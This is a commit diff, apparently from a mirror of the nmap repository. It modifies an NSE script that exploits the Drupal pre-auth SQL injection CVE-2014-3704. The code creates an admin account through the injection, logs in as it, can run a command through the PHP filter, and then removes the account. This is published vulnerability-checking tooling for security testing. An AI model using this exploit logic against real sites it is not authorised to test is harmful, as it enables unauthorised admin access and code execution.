mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
@@ -216,9 +216,11 @@ local function do_sql_query(host, port, uri, user)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
local res = http.post(host, port, uri .. "?q=/user/login", opt, nil, r)
|
local res = http.post(host, port, uri .. "?q=/user/login", opt, nil, r)
|
||||||
--TODO: Check return status
|
|
||||||
|
|
||||||
return user, passwd
|
if string.match(res.body, "includes[\\/]database[\\/]database%.inc") and string.match(res.body, "addcslashes%(%)") then
|
||||||
|
return user, passwd
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
local function set_php_filter(host, port, uri, session, disable)
|
local function set_php_filter(host, port, uri, session, disable)
|
||||||
@@ -342,9 +344,37 @@ action = function(host, port)
|
|||||||
cleanup = "false"
|
cleanup = "false"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
|
local vuln = {
|
||||||
|
title = 'Drupal - pre Auth SQL Injection Vulnerability',
|
||||||
|
state = vulns.STATE.NOT_VULN,
|
||||||
|
description = [[
|
||||||
|
The expandArguments function in the database abstraction API in
|
||||||
|
Drupal core 7.x before 7.32 does not properly construct prepared
|
||||||
|
statements, which allows remote attackers to conduct SQL injection
|
||||||
|
attacks via an array containing crafted keys.
|
||||||
|
]],
|
||||||
|
IDS = {CVE = 'CVE-2014-3704'},
|
||||||
|
references = {
|
||||||
|
'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html',
|
||||||
|
'https://www.drupal.org/SA-CORE-2014-005',
|
||||||
|
'http://www.securityfocus.com/bid/70595',
|
||||||
|
},
|
||||||
|
dates = {
|
||||||
|
disclosure = {year = '2014', month = '10', day = '15'},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
local user, passwd = do_sql_query(host, port, uri, nil)
|
local user, passwd = do_sql_query(host, port, uri, nil)
|
||||||
|
|
||||||
|
if user == nil or passwd == nil then
|
||||||
|
return vulnReport:make_output(vuln)
|
||||||
|
end
|
||||||
|
|
||||||
stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd))
|
stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd))
|
||||||
|
|
||||||
|
vuln.state = vulns.STATE.EXPLOIT
|
||||||
|
|
||||||
local data = {
|
local data = {
|
||||||
['name'] = user,
|
['name'] = user,
|
||||||
['pass'] = passwd,
|
['pass'] = passwd,
|
||||||
@@ -355,28 +385,8 @@ action = function(host, port)
|
|||||||
local res = http.post(host, port, uri .. "?q=/user/login", nil, nil, data)
|
local res = http.post(host, port, uri .. "?q=/user/login", nil, nil, data)
|
||||||
|
|
||||||
if res.status == 302 and res.cookies[1].name ~= nil then
|
if res.status == 302 and res.cookies[1].name ~= nil then
|
||||||
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
|
|
||||||
local vuln = {
|
|
||||||
title = 'Drupal - pre Auth SQL Injection Vulnerability',
|
|
||||||
state = vulns.STATE.NOT_VULN,
|
|
||||||
description = [[
|
|
||||||
The expandArguments function in the database abstraction API in
|
|
||||||
Drupal core 7.x before 7.32 does not properly construct prepared
|
|
||||||
statements, which allows remote attackers to conduct SQL injection
|
|
||||||
attacks via an array containing crafted keys.
|
|
||||||
]],
|
|
||||||
IDS = {CVE = 'CVE-2014-3704'},
|
|
||||||
references = {
|
|
||||||
'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html',
|
|
||||||
'https://www.drupal.org/SA-CORE-2014-005',
|
|
||||||
'http://www.securityfocus.com/bid/70595',
|
|
||||||
},
|
|
||||||
dates = {
|
|
||||||
disclosure = {year = '2014', month = '10', day = '15'},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd))
|
stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd))
|
||||||
vuln.state = vulns.STATE.EXPLOIT
|
|
||||||
|
|
||||||
if cmd ~= nil then
|
if cmd ~= nil then
|
||||||
local session = {}
|
local session = {}
|
||||||
@@ -406,11 +416,16 @@ attacks via an array containing crafted keys.
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- cleanup: remove admin user
|
else
|
||||||
if cleanup == nil then
|
vuln.state = vulns.STATE.LIKELY_VULN
|
||||||
do_sql_query(host, port, uri, user)
|
vuln.check_results = "Account created but unable to log in."
|
||||||
end
|
|
||||||
|
|
||||||
return vulnReport:make_output(vuln)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
-- cleanup: remove admin user
|
||||||
|
if cleanup == nil then
|
||||||
|
do_sql_query(host, port, uri, user)
|
||||||
|
end
|
||||||
|
|
||||||
|
return vulnReport:make_output(vuln)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user